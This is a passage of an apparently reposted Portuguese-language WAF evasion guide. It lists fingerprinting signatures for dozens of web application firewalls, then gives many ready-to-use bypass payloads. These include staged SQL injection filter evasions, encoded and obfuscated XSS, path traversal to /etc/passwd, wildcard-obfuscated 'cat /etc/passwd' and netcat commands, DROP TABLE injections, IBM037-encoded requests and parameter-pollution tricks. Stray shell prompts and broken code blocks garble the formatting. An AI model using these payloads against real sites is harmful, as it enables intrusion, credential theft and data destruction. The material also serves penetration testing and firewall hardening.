      • O cabeçalho X-Powered-By tem valor de campo Safe3WAF.
      • O cabeçalho Server contém valor de campo definido como Safe3 Web Firewall.
    • A página de resposta contém a palavra-chave Safe3waf.
SafeDog
  • Detectabilidade: Fácil/Moderada
  • Metodologia de Detecção:
    • O cabeçalho Server na resposta pode conter:
      • Palavra-chave WAF/2.0.
      • Valor do campo safedog.
SecKing
  • Detectabilidade: Fácil/Moderada
  • Metodologia de Detecção:
    • O cabeçalho Server na resposta pode conter:
      • Palavra-chave SECKINGWAF.
      • Valor do campo SECKING/{version}.
SecuPress
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O conteúdo da resposta pode conter:
      • SecuPress como texto.
      • Block ID: Bad URL Contents como texto.
    • O código de resposta retornado é 503 Service Unavailable.
Secure Entry
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server contém valor definido como Secure Entry Server.
SecureIIS
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta contém um dos seguintes trechos de texto:
      • Imagem exibindo logotipo beyondtrust.
      • Download SecureIIS Personal Edition
      • Referência à URL http://www.eeye.com/SecureIIS/.
      • Trecho de texto SecureIIS Error.
SecureSphere
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • A página de resposta contém o seguinte trecho de texto:
      • Erro em texto h2.
      • Título contém apenas texto como Error.
      • Texto Contact support for additional information..
SEnginx
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém a palavra-chave SENGINX-ROBOT-MITIGATION.
ServerDefender VP
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A resposta bloqueada contém o campo do cabeçalho X-Pint com a palavra-chave p80.
Shadow Daemon
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém a palavra-chave request forbidden by administrative rules..
ShieldSecurity
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém:
      • Texto You were blocked by the Shield..
      • Trecho de texto Something in the URL, Form or Cookie data wasn't appropriate.
      • Warning: You have {number} remaining transgression(s) against this site.
      • Seriously stop repeating what you are doing or you will be locked out.
SiteGround
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém
      The page you are trying to access is restricted due to a security rule.
SiteGuard (JP Secure)
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • A página de resposta contém:
      • Trecho de texto Powered by SiteGuard.
      • Trecho de texto The server refuse to browse the page..
      • The URL may not be correct. Please confirm the value.
SiteLock TrueShield
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O código fonte da página de resposta bloqueada contém o seguinte:
      • Referência à URL www.sitelock.com.
      • Texto Sitelock is leader in Business Website Security Services..
      • Palavra-chave sitelock-site-verification.
      • Imagem sitelock_shield_logo.
SonicWall
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server contém o valor da palavra-chave SonicWALL.
    • A página de resposta bloqueada contém um dos seguintes trechos de texto:
      • Imagem exibindo logotipo Dell.
      • This request is blocked by the SonicWALL.
      • Trecho de texto Web Site Blocked.
      • nsa_banner como palavra-chave. :p
Sophos UTM
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém a palavra-chave Powered by UTM Web Protection.
SquareSpace
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • O código de resposta retornado é 404 Not Found em requisições maliciosas.
    • A página de resposta bloqueada contém um dos seguintes trechos de texto:
      • Palavra-chave BRICK-50.
      • Trecho de texto 404 Not Found.
SquidProxy IDS
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server contém o valor do campo squid/{version}.
    • A página de resposta bloqueada contém
      Access control configuration prevents your request from being allowed at this time..
StackPath
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Contém imagem exibindo logotipo StackPath.
    • A página de resposta bloqueada contém
      You performed an action that triggered the service and blocked your request.
Stingray
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • O código de resposta bloqueado retorna 403 Forbidden ou 500 Internal Error.
    • Os cabeçalhos de resposta contêm o nome do campo de cabeçalho X-Mapping.
Sucuri CloudProxy
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta podem conter as palavras-chave Sucuri ou Cloudproxy.
    • A página de resposta bloqueada contém o seguinte trecho de texto:
      • Texto Access Denied - Sucuri Website Firewall.
      • Referência à URL https://sucuri.net/privacy-policy.
      • Às vezes o e-mail [email protected].
      • Contém aviso de direitos autorais ;copy {year} Sucuri Inc.
    • Os cabeçalhos de resposta contêm o cabeçalho X-Sucuri-ID junto com requisições normais.
Synology Cloud
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta bloqueada tem Copyright (c) 2019 Synology Inc. All rights reserved. como texto.
Tencent Cloud
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • O código de resposta bloqueado retorna erro 405 Method Not Allowed.
    • A página de resposta bloqueada contém referência à URL waf.tencent-cloud.com.
Teros
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta contêm o campo cookie st8id.
TrafficShield
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • Server pode conter a palavra-chave F5-TrafficShield.
    • O valor ASINFO= pode ser detectado nos cookies de resposta.
TransIP
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta contêm o cabeçalho único X-TransIP-Backend.
    • Os cabeçalhos de resposta contêm outro cabeçalho X-TransIP-Balancer.
UCloud UEWaf
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O conteúdo da resposta pode conter:
      • Referência ao diretório /uewaf_deny_pages/default/img/ na URL.
      • URL ucloud.cn.
    • Os cabeçalhos de resposta retornados têm o cabeçalho Server definido como uewaf/{version}.
URLMaster SecurityCheck
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta podem conter:
      • Palavra-chave UrlMaster.
      • Palavra-chave UrlRewriteModule.
      • Palavra-chave SecurityCheck.
    • O código de resposta bloqueado retornado é o trecho de texto 400 Bad Request.
URLScan
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém:
      • Trecho de texto Rejected-by-URLScan.
      • Server Erro in Application como cabeçalho.
      • Module: IIS Web Core em tabela.
USP Secure Entry
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta contêm o valor do campo Secure Entry Server.
Varnish (OWASP)
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Requisição maliciosa retorna erro 404 Not Found.
    • A página de resposta contém:
      • Trecho de texto Request rejected by xVarnish-WAF.
Varnish CacheWall
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta contém:
      • Error 403 Naughty, not Nice! como cabeçalho.
      • Varnish cache Server como texto.
Viettel
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta contém:
      • A página de bloqueio tem título definido como Access denied · Viettel WAF.
      • Referência à URL https://cloudrity.com.vn/.
      • A página de resposta contém as palavras-chave Viettel WAF system.
      • Informação de contato referente à URL https://cloudrity.com.vn/customer/#/contact.
VirusDie
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta contém:
      • Imagem http://cdn.virusdie.ru/splash/firewallstop.png.
      • Aviso de direitos autorais copy; Virusdie.ru

        .
      • O título da página de resposta contém a palavra-chave Virusdie.
      • Os metadados da página contêm a palavra-chave name="FW_BLOCK".
WallArm
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • Os cabeçalhos Server contêm o valor nginx-wallarm.
WatchGuard IPS
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Os cabeçalhos Server podem conter o valor do campo WatchGuard.
    • A página de resposta bloqueada contém:
      • Texto Request denied by WatchGuard Firewall.
      • WatchGuard Technologies Inc. como rodapé.
WebARX Security
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Restrito especificamente a sites WordPress apenas.
    • A página de resposta bloqueada contém:
      • Texto This request has been blocked by WebARX Web Application Firewall.
      • Referência ao diretório /wp-content/plugins/webarx/ onde está instalado.
WebKnight
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta contêm a palavra-chave WebKnight.
    • A página de resposta bloqueada contém:
      • Aviso de texto WebKnight Application Firewall Alert.
      • Trecho de texto AQTRONIX WebKnight.
    • O código de resposta bloqueado retornado é 999 No Hacking. :p
    • O código de resposta bloqueado retornado também é 404 Hack Not Found. :p
WebLand
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server contém a palavra-chave Apache Protected By WebLand WAF.
WebRay
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server contém a palavra-chave WebRay-WAF.
    • Os cabeçalhos de resposta podem ter o campo DrivedBy com valor RaySrv RayEng/{version}.
WebSEAL
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server contém a palavra-chave WebSEAL.
    • A página de resposta bloqueada contém:
      • Texto This is a WebSEAL error message template file.
      • Trecho de texto WebSEAL server received an invalid HTTP request.
WebTotem
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém The current request was blocked by WebTotem.
West263CDN
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta contêm o campo do cabeçalho X-Cache com valor WT263CDN.
Wordfence
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta contêm a palavra-chave WebKnight.
    • A página de resposta bloqueada contém:
      • Trecho de texto Generated by Wordfence.
      • Aviso de texto A potentially unsafe operation has been detected in your request to this site.
      • Aviso de texto Your access to this site has been limited.
      • Trecho de texto This response was generated by Wordfence.
WTS-WAF
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O título da página de resposta bloqueada tem a palavra-chave WTS-WAF.
    • O cabeçalho Server contém wts como valor.
XLabs Security WAF
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta contêm o campo do cabeçalho X-CDN com valor XLabs Security.
Xuanwudun WAF
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém referência à URL do site http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/.
Yunaq Chuangyu
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • A página de resposta tem referência a:
      • URL 365cyd.com ou 365cyd.net.
      • Referência à página de ajuda em http://help.365cyd.com/cyd-error-help.html?code=403.
Yundun
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server contém YUNDUN como valor.
    • O campo do cabeçalho X-Cache contém YUNDUN como valor.
    • A página de resposta contém o trecho de texto Blocked by YUNDUN Cloud WAF.
    • A página de resposta bloqueada contém referência à URL yundun.com/yd_http_error/.
Yunsuo
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém referência de classe de imagem para yunsuologo.
    • Os cabeçalhos de resposta contêm o nome do campo yunsuo_session.
YxLink
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A resposta pode ter o campo cookie yx_ci_session.
    • A resposta pode ter o campo cookie yx_language.
    • O cabeçalho Server contém o valor do campo Yxlink-WAF.
ZenEdge
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém referência ao diretório /__zenedge/assets/.
    • O cabeçalho Server contém a palavra-chave ZENEDGE.
    • Os cabeçalhos de resposta bloqueada podem conter o cabeçalho X-Zen-Fury.
ZScaler
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server tem valor definido como ZScaler.
    • A página de resposta bloqueada contém:
      • Texto Access Denied: Accenture Policy.
      • Referência à URL https://policies.accenture.com.
      • Referência à imagem em https://login.zscloud.net/img_logo_new1.png.
      • Your organization has selected Zscaler to protect you from internet threats.
      • The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate.

Fuzzing/Brute Force:

Método:

Executar um conjunto de payloads contra a URL/endpoint. Algumas boas wordlists para fuzzing:

  • Wordlists específicas para fuzzing
    • Seclists/Fuzzing.
    • Fuzz-DB/Attack
    • Outros Payloads

Técnica:

  • Carregue sua wordlist no fuzzer e inicie o brute force.
  • Registre/faça log de todas as respostas dos diferentes payloads testados.
  • Use user-agents aleatórios, variando de Chrome Desktop a navegador iPhone.
  • Se houver bloqueio, aumente a latência do fuzzing (ex.: 2-4 seg).
  • Sempre use proxychains, já que é real a chance de seu IP ser bloqueado.

Desvantagens:

  • Este método frequentemente falha.
  • Muitas vezes seu IP será bloqueado (temporária/permanentemente).

Reversão de Regex:

Método:

  • Método mais eficiente de contornar WAFs.
  • Alguns WAFs dependem de corresponder os payloads de ataque com as assinaturas em seus bancos de dados.
  • O payload corresponde à regex e o WAF dispara o alarme.

Técnicas:

Detecção/Bypass de Lista Negra

  • Neste método, tentamos identificar as regras passo a passo, observando as palavras-chave que estão na lista negra.
  • A ideia é adivinhar a regex e criar os próximos payloads que não usem as palavras-chave bloqueadas.

Caso: SQL Injection

• Passo 1:

Palavras-Chave Filtradas: and, or, union
Regex Provável: preg_match('/(and|or|union)/i', $id)

  • Tentativa Bloqueada: union select user, password from users
  • Injeção Contornada: 1 || (select user from users where user_id = 1) = 'admin'
• Passo 2:

Palavras-Chave Filtradas: and, or, union, where

  • Tentativa Bloqueada: 1 || (select user from users where user_id = 1) = 'admin'
  • Injeção Contornada: 1 || (select user from users limit 1) = 'admin'
• Passo 3:

Palavras-Chave Filtradas: and, or, union, where, limit

  • Tentativa Bloqueada: 1 || (select user from users limit 1) = 'admin'
  • Injeção Contornada: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
• Passo 4:

Palavras-Chave Filtradas: and, or, union, where, limit, group by

  • Tentativa Bloqueada: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
  • Injeção Contornada: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
• Passo 5:

Palavras-Chave Filtradas: and, or, union, where, limit, group by, select

  • Tentativa Bloqueada: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • Injeção Contornada: 1 || 1 = 1 into outfile 'result.txt'
  • Injeção Contornada: 1 || substr(user,1,1) = 'a'
• Passo 6:

Palavras-Chave Filtradas: and, or, union, where, limit, group by, select, '

  • Tentativa Bloqueada: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • Injeção Contornada: 1 || user_id is not null
  • Injeção Contornada: 1 || substr(user,1,1) = 0x61
  • Injeção Contornada: 1 || substr(user,1,1) = unhex(61)
• Passo 7:

Palavras-Chave Filtradas: and, or, union, where, limit, group by, select, ', hex

  • Tentativa Bloqueada: 1 || substr(user,1,1) = unhex(61)
  • Injeção Contornada: 1 || substr(user,1,1) = lower(conv(11,10,36))
• Passo 8:

Palavras-Chave Filtradas: and, or, union, where, limit, group by, select, ', hex, substr

  • Tentativa Bloqueada: 1 || substr(user,1,1) = lower(conv(11,10,36))
  • Injeção Contornada: 1 || lpad(user,7,1)
• Passo 9:

Palavras-Chave Filtradas: and, or, union, where, limit, group by, select, ', hex, substr, espaço em branco

  • Tentativa Bloqueada: 1 || lpad(user,7,1)
  • Injeção Contornada: 1%0b||%0blpad(user,7,1)

Ofuscação:

Método:

  • Codificar payload em diferentes codificações (uma abordagem de tentativa e erro).
  • Você pode codificar todo o payload, ou partes dele, e testar recursivamente.

Técnicas:

1. Alternância de Maiúsculas/Minúsculas

  • Alguns WAFs mal desenvolvidos filtram seletivamente maiúsculas/minúsculas específicos.
  • Podemos combinar caracteres maiúsculos e minúsculos para desenvolver payloads eficientes.

Padrão: <script>alert()</script>
Contornado: <ScRipT>alert()</sCRipT>

Padrão: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Contornado: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. Codificação URL

  • Codifique payloads normais com codificação %/codificação URL.
  • Pode ser feito com ferramentas online como esta.
  • Burp inclui um codificador/decodificador embutido.

Bloqueado: <svG/x=">"/oNloaD=confirm()//
Contornado: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

Bloqueado: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Contornado: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Normalização Unicode

  • Caracteres ASCII em codificação unicode fornecem ótimas variantes para contornar.
  • Você pode codificar todo/parte do payload para obter resultados.

Padrão: <marquee onstart=prompt()>
Ofuscado: <marquee onstart=\u0070r\u06f\u006dpt()>

Bloqueado: /?redir=http://google.com
Contornado: /?redir=http://google。com (Alternativa Unicode)

Bloqueado: <marquee loop=1 onfinish=alert()>x
Contornado: <marquee loop=1 onfinish=alert︵1)>x (Alternativa Unicode)

DICA: Dê uma olhada neste e neste relatórios no HackerOne. :)

Padrão: ../../etc/passwd
Ofuscado: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. Representação HTML

  • Frequentemente, aplicações web codificam caracteres especiais em codificação HTML e os renderizam adequadamente.
  • Isso nos leva a casos básicos de bypass com codificação HTML (numérica/genérica).

Padrão: ">
Codificado: &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; (Forma geral)
Codificado: &#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; (Referência numérica)

5. Codificação Mista

  • Às vezes, as regras do WAF tendem a filtrar um tipo específico de codificação.
  • Esse tipo de filtro pode ser contornado com payloads de codificação mista.
  • Tabulações e novas linhas aumentam ainda mais a ofuscação.

Ofuscado:``` XSS

root@kitploit:~
__6. Usando Comentários__
- Comentários ofuscam vetores de payload padrão.
- Diferentes payloads têm diferentes formas de ofuscação.

__Bloqueado__: `<script>alert()</script>`  
__Contornado__: `<!--><script>alert/**/()/**/</script>`

__Bloqueado__: `/?id=1+union+select+1,2,3--`  
__Contornado__: `/?id=1+un/**/ion+sel/**/ect+1,2,3--`

__7. Dupla Codificação__
- Frequentemente, filtros WAF tendem a codificar caracteres para prevenir ataques.
- No entanto, filtros mal desenvolvidos (sem filtros recursivos) podem ser contornados com dupla codificação.

__Padrão__: `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\`  
__Ofuscado__: `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\`

__Padrão__: `<script>alert()</script>`  
__Ofuscado__: `%253Cscript%253Ealert()%253C%252Fscript%253E`

__8. Ofuscação por Curinga__
- Padrões de globbing são usados por vários utilitários de linha de comando para trabalhar com múltiplos arquivos.
- Podemos ajustá-los para executar comandos do sistema.
- Específico para vulnerabilidades de execução remota de código em sistemas Linux.

__Padrão__: `/bin/cat /etc/passwd`  
__Ofuscado__: `/???/??t /???/??ss??`  
Caracteres usados: `/ ? t s`

__Padrão__: `/bin/nc 127.0.0.1 1337`  
__Ofuscado__: `/???/n? 2130706433 1337`  
Caracteres usados: `/ ? n [0-9]`

__9. Geração Dinâmica de Payloads__
- Diferentes linguagens de programação têm diferentes sintaxes e padrões para concatenação.
- Isso nos permite gerar efetivamente payloads que podem contornar muitos filtros e regras.

__Padrão__: `<script>alert()</script>`  
__Ofuscado__: `<script>eval('al'+'er'+'t()')</script>`

__Padrão__: `/bin/cat /etc/passwd`  
__Ofuscado__: `/bi'n'''/c''at' /e'tc'/pa''ss'wd`
> Bash permite concatenação de caminhos para execução.

__Padrão__: ``  
__Ofuscado__:```

13. Quebradores de Token

  • Ataques a tokenizers tentam quebrar a lógica de dividir uma requisição em tokens com a ajuda de quebradores de token.

  • Quebradores de token são símbolos que permitem afetar a correspondência entre um elemento de uma string e um certo token, e assim contornar a busca por assinatura.

  • No entanto, a requisição ainda deve permanecer válida ao usar quebradores de token.

  • Caso: Token Desconhecido para o Tokenizer

    • Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users --
  • Caso: Contexto Desconhecido para o Parser (Observe o colchete sem contexto)

    • Payload 1: ?id=123);DROP TABLE users --
    • Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --

DICA: Mais payloads podem ser criados através desta folha de dicas.

14. Ofuscação em Outros Formatos

  • Muitas aplicações web suportam diferentes tipos de codificação e podem interpretar a codificação (veja abaixo).
  • Ofuscar nosso payload para um formato não suportado pelo WAF, mas que o servidor pode interpretar, permite contrabandear nosso payload.

Caso: IIS

  • IIS6, 7.5, 8 e 10 (ASPX v4.x) permitem interpretações de caracteres IBM037.
  • Podemos codificar nosso payload e enviar os parâmetros codificados com a consulta.

Requisição Original:``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41

id2='union all select * from users--

root@kitploit:~
Requisição Ofuscada + Codificação de URL:```
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115

%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

A tabela a seguir mostra o suporte de diferentes codificações de caracteres nos sistemas testados (quando as mensagens podem ser ofuscadas usando-as):

DICA: Você pode usar este pequeno script em Python para converter seus payloads e parâmetros para as codificações desejadas.

AlvoCodificaçõesNotas
Nginx, uWSGI-Django-Python3IBM037, IBM500, cp875, IBM1026, IBM273
  • Query string e corpo precisam ser codificados.
  • Parâmetros decodificados na query string e no corpo.
  • Sinal de igual e "e" comercial precisam ser codificados também (sem url-encoding).
Nginx, uWSGI-Django-Python2IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424
  • Query string e corpo precisam ser codificados.
  • Parâmetros decodificados na query string e no corpo posteriormente.
  • Sinal de igual e "e" comercial não devem ser codificados de forma alguma.
Apache-TOMCAT8-JVM1.8-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
  • Query string em seu formato original (pode ser url-encoded como de costume).
  • Corpo pode ser enviado com ou sem url-encoding.
  • Sinal de igual e "e" comercial não devem ser codificados de forma alguma.
Apache-TOMCAT7-JVM1.6-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
  • Query string em seu formato original (pode ser url-encoded como de costume).
  • Corpo pode ser enviado com ou sem url-encoding.
  • Sinal de igual e "e" comercial não devem ser codificados de forma alguma.
IIS6, 7.5, 8, 10 -ASPX (v4.x)IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025

Poluição de Parâmetros HTTP (HTTP Parameter Pollution)

Método:

  • Este método de ataque baseia-se em como um servidor interpreta parâmetros com o mesmo nome.
  • Possíveis chances de bypass aqui são:
    • O servidor usa o último parâmetro recebido, e o WAF verifica apenas o primeiro.
    • O servidor une o valor de parâmetros semelhantes, e o WAF os verifica separadamente.

Técnica:

  • A ideia é enumerar como os parâmetros estão sendo interpretados pelo servidor.
  • Nesse caso, podemos passar o payload para um parâmetro que não está sendo inspecionado pelo WAF.
  • Distribuir um payload por parâmetros que podem posteriormente ser concatenados pelo servidor também é útil.

Abaixo está uma comparação de diferentes servidores e suas interpretações relativas:

AmbienteInterpretação do ParâmetroExemplo
ASP/IISConcatenação por vírgulapar1=val1,val2
JSP, Servlet/Apache TomcatPrimeiro parâmetro é o resultantepar1=val1
ASP.NET/IISConcatenação por vírgulapar1=val1,val2
PHP/ZeusÚltimo parâmetro é o resultantepar1=val2
PHP/ApacheÚltimo parâmetro é o resultantepar1=val2
JSP, Servlet/JettyPrimeiro parâmetro é o resultantepar1=val1
IBM Lotus DominoPrimeiro parâmetro é o resultantepar1=val1
IBM HTTP ServerÚltimo parâmetro é o resultantepar1=val2
mod_perl, libapeq2/ApachePrimeiro parâmetro é o resultantepar1=val1
Oracle Application Server 10GPrimeiro parâmetro é o resultantepar1=val1
Perl CGI/ApachePrimeiro parâmetro é o resultantepar1=val1
Python/ZopePrimeiro parâmetro é o resultantepar1=val1
IceWarpUm array é retornado['val1','val2']
AXIS 2400Último parâmetro é o resultantepar1=val2
DBManConcatenação por dois tilspar1=val1~~val2
mod-wsgi (Python)/Apache

Fragmentação de Parâmetros HTTP (HTTP Parameter Fragmentation)

  • HPF baseia-se no princípio de que o servidor une o valor passado pelos parâmetros.
  • Podemos dividir o payload em diferentes componentes e, em seguida, passar os valores pelos parâmetros.

Exemplo de Payload: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
Exemplo de URL de Consulta: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS

DICA: Um exemplo da vida real de como os bypasses podem ser elaborados usando este método pode ser encontrado aqui.

Bugs de Navegador (Browser Bugs):

Bugs de Charset:

  • Podemos tentar alterar o cabeçalho charset para um Unicode mais alto (ex.: UTF-32) e testar payloads.
  • Quando o site decodifica a string, o payload é acionado.

Exemplo de requisição:

root@kitploit:~
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Quando o site carrega, ele será codificado para a codificação UTF-32 que definimos, e então, como a codificação de saída da página é UTF-8, será renderizado como: "<script>alert (1) </ script> que acionará XSS.

Payload final codificado para URL:``` %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

root@kitploit:~
#### Bytes Nulos:
- Os bytes nulos são comumente usados como terminadores de string.
- Isso pode nos ajudar a evadir muitos filtros de aplicações web caso eles não estejam filtrando os bytes nulos.

Exemplos de payloads:```
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

Padrão: <a href="javascript:alert()">
Ofuscado: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variante: <a 0x00 href="javascript:alert(1)">clickme</a>

Bugs de Parsing:

  • A RFC determina que NodeNames não podem começar com espaços em branco.
  • Mas podemos usar caracteres especiais como %, //, !, ?, etc.

Exemplos:

  • <// style=x:expression\28write(1)\29> - Funciona até IE7 (Fonte)
  • <!--[if]><script>alert(1)</script --> - Funciona até IE9 (Referência)
  • <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Funciona no IE7 (Referência)
  • <%div%20style=xss:expression(prompt(1))> - Funciona até IE7

Separadores Unicode:

  • Cada navegador possui seu próprio conjunto específico de separadores.
  • Podemos fazer fuzzing no intervalo de charset de 0x00 a 0xFF e obter o conjunto de separadores para cada navegador.
  • Podemos usar esses separadores em lugares onde um espaço é necessário.

Aqui está uma lista compilada de separadores por @Masato Kinugawa:

  • IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
  • Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
  • Safari: 0x2C, 0x3B
  • FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
  • Opera: 0x09, 0x20, 0x2C, 0x3B
  • Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

Um exemplo de payload exótico:``` <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

root@kitploit:~
### Usando Estruturas Sintáticas Equivalentes Atípicas
- Este método visa encontrar uma forma de exploração não considerada pelos desenvolvedores do WAF.
- Alguns casos de uso podem ser torcidos a níveis críticos onde o WAF não consegue detectar os payloads de forma alguma.
- Este payload é aceito e executado pelo servidor após passar pelo firewall.

Algumas palavras-chave comuns ignoradas pelos desenvolvedores do WAF:
- Funções JavaScript:
    - `window`
    - `parent`
    - `this`
    - `self`
- Atributos de tag:
    - `onwheel`
    - `ontoggle`
    - `onfilterchange`
    - `onbeforescriptexecute`
    - `ondragstart`
    - `onauxclick`
    - `onpointerover`
    - `srcdoc`
- Operadores SQL
    - `lpad`
    - `field`
    - `bit_count`

Exemplo de Payloads:  
- __Caso:__ XSS```
<script>window['alert'](https://github.com/0xinfection/awesome-waf/blob/master/0)</script>
<script>parent['alert'](https://github.com/0xinfection/awesome-waf/blob/master/1)</script>
<script>self['alert'](https://github.com/0xinfection/awesome-waf/blob/master/2)</script>
  • Caso: SQLi``` SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null); 1%0b||%0bLPAD(USER,7,1)
root@kitploit:~
Muitas alternativas ao JavaScript original podem ser usadas, nomeadamente:
